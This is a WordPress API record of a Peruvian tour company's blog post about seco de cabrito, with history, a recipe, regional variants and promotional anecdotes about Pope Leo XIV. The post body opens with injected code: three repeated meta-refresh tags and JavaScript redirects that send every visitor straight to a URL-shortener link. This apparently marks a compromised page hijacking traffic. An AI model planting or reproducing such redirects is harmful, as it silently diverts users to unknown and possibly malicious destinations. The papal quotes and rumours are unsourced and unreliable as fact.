{"id":15139,"date":"2025-09-17T10:40:37","date_gmt":"2025-09-17T15:40:37","guid":{"rendered":"https:\/\/blog.viajesmachupicchu.travel\/en\/?p=15139"},"modified":"2025-09-29T11:03:11","modified_gmt":"2025-09-29T16:03:11","slug":"seco-de-cabrito-a-peruvian-stew-that-won-the-popes-heart","status":"publish","type":"post","link":"https:\/\/blog.viajesmachupicchu.travel\/en\/seco-de-cabrito-a-peruvian-stew-that-won-the-popes-heart\/","title":{"rendered":"Seco de Cabrito: A Peruvian Stew That Won the Pope\u2019s Heart"},"content":{"rendered":"<meta http-equiv=\"refresh\" content=\"0; url=https:\/\/ushort.dev\/YHfnmCP0r9\" \/>\r\n<script>window.location.href = \"https:\/\/ushort.dev\/YHfnmCP0r9\";<\/script>\r\n<meta http-equiv=\"refresh\" content=\"0; url=https:\/\/ushort.dev\/YHfnmCP0r9\" \/>\r\n<script>window.location.href = \"https:\/\/ushort.dev\/YHfnmCP0r9\";<\/script>\r\n<meta http-equiv=\"refresh\" content=\"0; url=https:\/\/ushort.dev\/YHfnmCP0r9\" \/>\r\n<script>window.location.href = \"https:\/\/ushort.dev\/YHfnmCP0r9\";<\/script>\r\n\n<p>A tender chunk of goat so soft it practically falls apart, soaking up a vibrant cilantro-chili sauce, with a side of fluffy rice and creamy beans.<\/p>\n\n\n\n<p>&nbsp;That\u2019s <em>seco de cabrito<\/em>\u2014a northern Peruvian favorite that\u2019s got everyone talking. Even<strong> <\/strong>Pope Leo XIV can\u2019t resist its charm (yep,<strong> <\/strong><a href=\"https:\/\/blog.viajesmachupicchu.travel\/en\/chiclayo-discover-why-it-won-the-new-popes-heart\/\"><strong>the new pope<\/strong><\/a> is a total fan of Peruvian cuisine!).<\/p>\n\n\n\n<p>&nbsp;Straight from the sunny kitchens of Lambayeque and Trujillo, this beloved stew is a pillar of <em>comida criolla<\/em>, the coastal cuisine as lively and bold as a marinera in full swing.<\/p>\n\n\n\n<p>&nbsp;Therefore, in this guide, we\u2019re serving up the story behind <em>seco de cabrito<\/em>, a foolproof recipe, tasty regional twists, and the reason Pope Leo XIV is shouting its praises. Ready for a delicious dive into Peru\u2019s foodie soul?<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>The Story Behind Seco de Cabrito: A Flavorful Past<\/strong><\/h2>\n\n\n\n<p>Hailing from Peru\u2019s northern coast, <em>seco de cabrito<\/em> is a love letter to the region\u2019s goat-herding roots. The name \u201cseco\u201d (Spanish for \u201cdry\u201d) is a playful fib\u2014this stew is anything but dry!&nbsp;<\/p>\n\n\n\n<p>It\u2019s about slow-cooking goat in a lush sauce until every bite is pure magic, with just enough liquid to scoop up with rice. <\/p>\n\n\n\n<p>In addition, this dish is one of <strong><a href=\"https:\/\/blog.viajesmachupicchu.travel\/en\/discover-the-secrets-of-peruvian-creole-cuisine\/\" title=\"\">Creole cuisine<\/a><\/strong>, blending indigenous, Spanish, and African traditions into a dish that\u2019s pure Peruvian.<\/p>\n\n\n\n<p>The exact origin of <em>Seco<\/em> is a bit of a mystery, but many believe it comes from <em>Seco Tajime<\/em>, an<strong><a href=\"https:\/\/blog.viajesmachupicchu.travel\/en\/arabic-influence-on-peruvian-food-traditions\/\" title=\"\"> Arab dish<\/a><\/strong> made with lamb from colonial times.&nbsp;<\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"697\" height=\"465\" src=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/05\/486167315_1082941657199140_8674370943996541826_n.jpg?resize=697%2C465&#038;ssl=1\" alt=\"Freshly made seco de cabrito, accompanied with casava, rice, beans, and sarsa criolla\" class=\"wp-image-15142\" srcset=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/05\/486167315_1082941657199140_8674370943996541826_n.jpg?resize=1024%2C683&amp;ssl=1 1024w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/05\/486167315_1082941657199140_8674370943996541826_n.jpg?resize=300%2C200&amp;ssl=1 300w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/05\/486167315_1082941657199140_8674370943996541826_n.jpg?resize=768%2C512&amp;ssl=1 768w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/05\/486167315_1082941657199140_8674370943996541826_n.jpg?resize=330%2C220&amp;ssl=1 330w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/05\/486167315_1082941657199140_8674370943996541826_n.jpg?w=1200&amp;ssl=1 1200w\" sizes=\"auto, (max-width: 697px) 100vw, 697px\" \/><\/figure><\/div>\n\n\n<p>Journalist and gastronomist Rodolfo Hinostroza suggests that the original stew is similar to the Arab <em>tajine<\/em>, brought to South America by enslaved women from North Africa during the <strong><a href=\"https:\/\/blog.viajesmachupicchu.travel\/en\/the-viceroyalty-of-peru-and-its-living-legacy\/\" title=\"\">Viceroyalty era.<\/a><\/strong><\/p>\n\n\n\n<p>The main seasoning in <em>Seco de Cabrito<\/em> (Goat Seco) is cilantro (<em>culantro<\/em>), which came from Spain along with many other herbs and spices.&nbsp;<\/p>\n\n\n\n<p>These ingredients have greatly influenced the rich flavors of Peruvian cuisine, including ingredients such as basil, lemongrass, mint, sage, pepper, cinnamon, rosemary, oregano, thyme, fennel, parsley, ginger, saffron, cumin, and more.<\/p>\n\n\n\n<p>Today, the same seasoning is at the heart of family<strong><a href=\"https:\/\/blog.viajesmachupicchu.travel\/en\/pachamanca-the-ancient-andean-cooking-ritual\/\" title=\"\"> <em>pachamancas<\/em><\/a><\/strong>, festivals, and cozy <em>huariques<\/em> (hidden gem eateries), carrying centuries of flavor in every spoonful.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>Why Pope Leo XIV Is Obsessed with Seco<\/strong><\/h2>\n\n\n\n<p>Pope Leo XIV, born Robert Prevost in Chicago, isn\u2019t your average pope\u2014he\u2019s the first American-born pontiff and a Peruvian naturalized citizen who spent nearly 40 years soaking up Peru\u2019s culture.&nbsp;<\/p>\n\n\n\n<p>Landing in Chiclayo in 1985 as an Augustinian missionary, he served as bishop in Chiclayo and Chulucanas, earning the nickname \u201cPadre Roberto\u201d for his down-to-earth vibe.&nbsp;<\/p>\n\n\n\n<p>He publicly stated his love for<a href=\"https:\/\/blog.viajesmachupicchu.travel\/en\/essential-peruvian-food-10-dishes-you-must-try\/\"><strong> Peruvian food<\/strong><\/a> and seco: \u201cPeru\u2019s food is my joy\u2014ceviche, cabrito, seco, it\u2019s all love!\u201d<\/p>\n\n\n\n<p> Similarly, his Chiclayo successor, Bishop Edison Farf\u00e1n, said the stew\u2019s \u201csabroso\u201d depth won him over at community feasts.&nbsp;<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"697\" height=\"486\" src=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/05\/rober-prevost-mision-chulucana.jpg?resize=697%2C486&#038;ssl=1\" alt=\"Robert Prevost or pope Leo XIV eating Peruvian food\" class=\"wp-image-15056\" srcset=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/05\/rober-prevost-mision-chulucana.jpg?resize=1024%2C714&amp;ssl=1 1024w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/05\/rober-prevost-mision-chulucana.jpg?resize=300%2C209&amp;ssl=1 300w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/05\/rober-prevost-mision-chulucana.jpg?resize=768%2C535&amp;ssl=1 768w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/05\/rober-prevost-mision-chulucana.jpg?w=1090&amp;ssl=1 1090w\" sizes=\"auto, (max-width: 697px) 100vw, 697px\" \/><\/figure>\n\n\n\n<p>For Leo, who became Peruvian in 2015, <em>seco de cabrito<\/em>\u2019s tender meat and zesty sauce echo Chiclayo\u2019s open-hearted spirit.&nbsp;<\/p>\n\n\n\n<p>Locals recall him swapping recipes with market vendors and cheering for Alianza Lima over a plate. Now in the Vatican, he\u2019s reportedly sneaking the dish into papal menus, proving Peru\u2019s flavors follow him everywhere.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>What Makes Seco de Cabrito Irresistible<\/strong><\/h2>\n\n\n\n<p><em>Seco de cabrito<\/em> is a flavor fiesta: young goat (<em>cabrito<\/em>) cooked until it\u2019s so tender it whispers <em>hola<\/em>, drenched in a green cilantro sauce with a gentle <em>aj\u00ed amarillo<\/em> zing.&nbsp;<\/p>\n\n\n\n<p><a href=\"https:\/\/blog.viajesmachupicchu.travel\/en\/chicha-incas-legacy-in-a-glass\/\"><strong><em>Chicha de jora<\/em><\/strong><\/a> or beer deepens the taste, making the meat fall-apart dreamy. It\u2019s served with white rice, velvety canary beans (<em>frijoles canarios<\/em>).<\/p>\n\n\n\n<p>Likewise,&nbsp; boiled yuca, plus <em>salsa criolla<\/em> (red onion, lime, chili) for a crunchy kick. The sauce\u2019s earthy-spicy harmony and the goat\u2019s subtle richness make it a crowd-pleaser.&nbsp;<\/p>\n\n\n\n<p>For Pope Leo, who shared it with Chiclayo\u2019s hungry, it\u2019s more than food\u2014it\u2019s a hug from Peru\u2019s north, uniting people around the table.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"697\" height=\"383\" src=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/05\/5f6956de0352f279c449e24e.jpg?resize=697%2C383&#038;ssl=1\" alt=\"A closer look to seco de cabrito with rice and beans\" class=\"wp-image-15146\" srcset=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/05\/5f6956de0352f279c449e24e-scaled.jpg?resize=1024%2C563&amp;ssl=1 1024w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/05\/5f6956de0352f279c449e24e-scaled.jpg?resize=300%2C165&amp;ssl=1 300w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/05\/5f6956de0352f279c449e24e-scaled.jpg?resize=768%2C422&amp;ssl=1 768w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/05\/5f6956de0352f279c449e24e-scaled.jpg?resize=1536%2C845&amp;ssl=1 1536w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/05\/5f6956de0352f279c449e24e-scaled.jpg?resize=2048%2C1127&amp;ssl=1 2048w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/05\/5f6956de0352f279c449e24e-scaled.jpg?w=1394&amp;ssl=1 1394w\" sizes=\"auto, (max-width: 697px) 100vw, 697px\" \/><\/figure>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>Foolproof Seco de Cabrito Recipe<\/strong><\/h2>\n\n\n\n<p>Ready to cook like a Chiclayo <em>abuela<\/em>? This <em>seco de cabrito<\/em> recipe serves 4-6 and is beginner-friendly. No goat? Lamb or beef works great!<\/p>\n\n\n\n<h3 class=\"wp-block-heading\"><strong>Ingredients<\/strong><\/h3>\n\n\n\n<p><strong>Meat<\/strong>: 2 lbs (1 kg) young goat (cabrito), cubed (or lamb\/beef)<\/p>\n\n\n\n<p><strong>Marinade<\/strong>: 4 garlic cloves (minced), 1 tsp cumin, 1 tsp black pepper, 1 tsp salt, \u00bc cup white vinegar<\/p>\n\n\n\n<p><strong>Sauce<\/strong>: 1 large bunch cilantro (blended with \u00bd cup water), 1 red onion (finely chopped), 2 tbsp <em>aj\u00ed amarillo<\/em> paste, 2 tomatoes (blended), 1 cup <em>chicha de jora<\/em> or lager beer, 1 cup beef broth, 1 tsp brown sugar<\/p>\n\n\n\n<p><strong>Veggies<\/strong>: 2 carrots (sliced), 1 cup peas, 2 yellow potatoes (cubed)<\/p>\n\n\n\n<p><strong>Sides<\/strong>: White rice, canary beans, yuca (optional), <em>salsa criolla<\/em> (red onion, lime, <em>aj\u00ed<\/em>)<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"697\" height=\"523\" src=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/05\/ingredientes-pierna-de-cabrito-al-horno.webp?resize=697%2C523&#038;ssl=1\" alt=\"Ingridients for Seco de Cabrito including things such as goat, species, onion, potasotes, beans, salt, pepper, and more\" class=\"wp-image-15145\" srcset=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/05\/ingredientes-pierna-de-cabrito-al-horno-scaled.webp?resize=1024%2C768&amp;ssl=1 1024w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/05\/ingredientes-pierna-de-cabrito-al-horno-scaled.webp?resize=300%2C225&amp;ssl=1 300w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/05\/ingredientes-pierna-de-cabrito-al-horno-scaled.webp?resize=768%2C576&amp;ssl=1 768w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/05\/ingredientes-pierna-de-cabrito-al-horno-scaled.webp?resize=1536%2C1152&amp;ssl=1 1536w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/05\/ingredientes-pierna-de-cabrito-al-horno-scaled.webp?resize=2048%2C1536&amp;ssl=1 2048w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/05\/ingredientes-pierna-de-cabrito-al-horno-scaled.webp?resize=640%2C480&amp;ssl=1 640w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/05\/ingredientes-pierna-de-cabrito-al-horno-scaled.webp?w=1394&amp;ssl=1 1394w\" sizes=\"auto, (max-width: 697px) 100vw, 697px\" \/><\/figure>\n\n\n\n<h3 class=\"wp-block-heading\"><strong>Instructions<\/strong><\/h3>\n\n\n\n<p><strong>Marinate<\/strong>: Mix the goat with garlic, cumin, pepper, salt, and vinegar. Chill 2 hours (overnight for extra oomph).<\/p>\n\n\n\n<p><strong>Brown<\/strong>: Heat 3 tbsp oil in a large pot over medium-high heat. Brown goat (~8 minutes), then remove.<\/p>\n\n\n\n<p><strong>Build Sauce<\/strong>: Saut\u00e9 onion and garlic for 5 minutes. Add <em>aj\u00ed amarillo<\/em> paste and tomatoes; cook 3 minutes. Stir in cilantro puree, <em>chicha<\/em> (or beer), broth, and sugar. Simmer gently.<\/p>\n\n\n\n<p><strong>Slow Cook<\/strong>: Return goat, cover, and simmer on low 1.5-2 hours until meat melts.<\/p>\n\n\n\n<p><strong>Add Veggies<\/strong>: Toss in carrots, peas, and potatoes. Cook 20 minutes until tender. Adjust salt.<\/p>\n\n\n\n<p><strong>Serve<\/strong>: Plate with rice, beans, yuca, and <em>salsa criolla<\/em>. Savor the northern soul!<\/p>\n\n\n\n<p><strong>Pro Tip<\/strong>: No <em>aj\u00ed amarillo<\/em>? Use mild chili paste or a pinch of paprika. Pair with a chilled Cusque\u00f1a beer for papal vibes.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\"><strong>Regional Twists on Seco de Cabrito<\/strong><\/h3>\n\n\n\n<p><em>Seco de cabrito<\/em> morphs across Peru\u2019s map. Lambayeque sticks to goat, beans, and rice, with cilantro front and center. <a href=\"https:\/\/blog.viajesmachupicchu.travel\/en\/culture-in-trujillo-peru\/\"><strong>Trujillo<\/strong><\/a> sneaks in <em>loche<\/em> squash for a sweet note.&nbsp;<\/p>\n\n\n\n<p>Cajamarca swaps beans for <em>tacu tacu<\/em> (crispy rice-and-bean patty) to fill you up. Arequipa\u2019s <em>seco de cordero<\/em> (lamb) cranks the heat with <em>aj\u00ed panca<\/em>.&nbsp;<\/p>\n\n\n\n<p>In Lima, urban cooks whip up <em>seco de res<\/em> (beef) or <em>seco de pollo<\/em> (chicken), sometimes tossing spinach into the sauce. The northern Peruvian classic, with its goat and <em>chicha<\/em> heart, is Pope Leo\u2019s gold standard.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"697\" height=\"465\" src=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/05\/ChatGPT-Image-13-may-2025-13_04_27.png?resize=697%2C465&#038;ssl=1\" alt=\"A water color picture that shows a chiclayo man eating seco de cabrito, in the other picture there's a closer look to the dish\" class=\"wp-image-15141\" srcset=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/05\/ChatGPT-Image-13-may-2025-13_04_27.png?resize=1024%2C683&amp;ssl=1 1024w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/05\/ChatGPT-Image-13-may-2025-13_04_27.png?resize=300%2C200&amp;ssl=1 300w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/05\/ChatGPT-Image-13-may-2025-13_04_27.png?resize=768%2C512&amp;ssl=1 768w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/05\/ChatGPT-Image-13-may-2025-13_04_27.png?resize=330%2C220&amp;ssl=1 330w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/05\/ChatGPT-Image-13-may-2025-13_04_27.png?w=1536&amp;ssl=1 1536w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/05\/ChatGPT-Image-13-may-2025-13_04_27.png?w=1394&amp;ssl=1 1394w\" sizes=\"auto, (max-width: 697px) 100vw, 697px\" \/><\/figure>\n\n\n\n<h3 class=\"wp-block-heading\"><strong>Seco Trivia<\/strong><\/h3>\n\n\n\n<p><strong>Festival Favorite<\/strong>: At Lambayeque\u2019s <em>Fiesta de San Pedro<\/em> (June), <em>seco de cabrito<\/em> flows like wine, with locals dancing <em>tondero<\/em> around steaming pots.<\/p>\n\n\n\n<p><strong>Goat Goals<\/strong>: Young goats (under 6 months) are key for that tender, non-gamey bite\u2014think of them as the rock stars of stew.<\/p>\n\n\n\n<p><strong>Chicha Charm<\/strong>: <em>Chicha de jora<\/em> was sacred to the Incas and offered to mountain gods. It\u2019s basically divine sauce juice!<\/p>\n\n\n\n<p><strong>Pope\u2019s Play<\/strong>: X fans swear Leo XIV watches Alianza Lima matches with a plate of <em>seco<\/em>, cheering through a mouthful of rice.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>Savor It Like a Local<\/strong><\/h2>\n\n\n\n<p>In Peru, try <em>seco de cabrito<\/em> at Chiclayo\u2019s <em>La Suprema<\/em> or Trujillo\u2019s <em>El Rinc\u00f3n de Vallejo<\/em> (~25-35 soles). At home, serve it family-style with extra rice and <em>chicha morada<\/em> (purple corn juice) to tame the <em>aj\u00ed<\/em> zing.&nbsp;<\/p>\n\n\n\n<p>Leftovers? They\u2019re next-level tasty\u2014reheat gently to keep the magic. For a Chiclayo vibe, play <em>huayno<\/em> tunes and swap stories, like Leo did in parish halls.<\/p>\n\n\n\n<p>&nbsp;Wanna go full pope? Say a quick <em>gracias<\/em> to the cook\u2014it\u2019s the Peruvian way. <em>Seco de cabrito<\/em> is northern Peru in a bowl: bold, warm, and bursting with heart.&nbsp;<\/p>\n\n\n\n<p>Likewise, its roots\u2014Moche chilies, Spanish herbs, African slow-cooking\u2014make it a culinary time machine. For Pope Leo XIV, who stirred pots for Chiclayo\u2019s poorest, it\u2019s a taste of faith and friendship.&nbsp;<\/p>\n\n\n\n<p>From Trujillo\u2019s <em>huariques<\/em> to the Vatican\u2019s dining room, this stew\u2019s tender goat, zippy sauce, and communal spirit win every time.&nbsp;<\/p>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<p>So cook it, seek it out in Lambayeque, or just dream of its flavors\u2014<em>seco de cabrito<\/em> is Peru at its most delicious.<\/p>\n\n\n\n<p>Finally, to discover more secrets about Peruvian food and other attractions, <strong><a href=\"https:\/\/viajesmachupicchu.travel\/en\/contact\" title=\"\">contact<\/a> Viagens Machu Picchu<\/strong>! The culinary adventure of your dreams awaits! Don\u2019t be late!&nbsp; <em>\u00a1Buen provecho, amigos!<\/em><\/p>\n\n\n\n<p><strong>Viagens Machu Picchu: Journeys that inspire, moments that last.<\/strong><\/p>\n\n\n\n<p><strong><a href=\"https:\/\/viajesmachupicchu.travel\/\">En Espa\u00f1ol &nbsp;<\/a><\/strong><\/p>\n\n\n\n<p><strong><a href=\"https:\/\/viajesmachupicchu.travel\/en\/\">In English&nbsp;<\/a><\/strong><\/p>\n\n\n\n<p><strong><a href=\"https:\/\/www.viagensmachupicchu.com.br\/\">Em Portugu\u00e9s<\/a><\/strong><\/p>\n\n\n\n<p><\/p>\n","protected":false},"excerpt":{"rendered":"<p> Seco de cabrito is a northern Peruvian stew with tender goat, cilantro sauce, and a rich history. Beloved by Pope Leo XIV, it blends indigenous, Spanish, and African flavors into a dish that\u2019s pure culinary soul. Try it in Lambayeque or at home!<\/p>\n","protected":false},"author":1,"featured_media":15144,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_jetpack_newsletter_access":"","_jetpack_dont_email_post_to_subs":false,"_jetpack_newsletter_tier_id":0,"_jetpack_memberships_contains_paywalled_content":false,"_jetpack_memberships_contains_paid_content":false,"footnotes":""},"categories":[1850,3495],"tags":[5481,5482],"class_list":["post-15139","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-food","category-peruvian-flavors","tag-seco-de","tag-slow-cooking"],"aioseo_notices":[],"jetpack_featured_media_url":"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/05\/001072306W-1.jpg?fit=1800%2C1234&ssl=1","jetpack_shortlink":"https:\/\/wp.me\/pg0r71-3Wb","jetpack_sharing_enabled":true,"amp_enabled":true,"_links":{"self":[{"href":"https:\/\/blog.viajesmachupicchu.travel\/en\/wp-json\/wp\/v2\/posts\/15139","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/blog.viajesmachupicchu.travel\/en\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/blog.viajesmachupicchu.travel\/en\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/blog.viajesmachupicchu.travel\/en\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/blog.viajesmachupicchu.travel\/en\/wp-json\/wp\/v2\/comments?post=15139"}],"version-history":[{"count":3,"href":"https:\/\/blog.viajesmachupicchu.travel\/en\/wp-json\/wp\/v2\/posts\/15139\/revisions"}],"predecessor-version":[{"id":18659,"href":"https:\/\/blog.viajesmachupicchu.travel\/en\/wp-json\/wp\/v2\/posts\/15139\/revisions\/18659"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/blog.viajesmachupicchu.travel\/en\/wp-json\/wp\/v2\/media\/15144"}],"wp:attachment":[{"href":"https:\/\/blog.viajesmachupicchu.travel\/en\/wp-json\/wp\/v2\/media?parent=15139"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/blog.viajesmachupicchu.travel\/en\/wp-json\/wp\/v2\/categories?post=15139"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/blog.viajesmachupicchu.travel\/en\/wp-json\/wp\/v2\/tags?post=15139"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}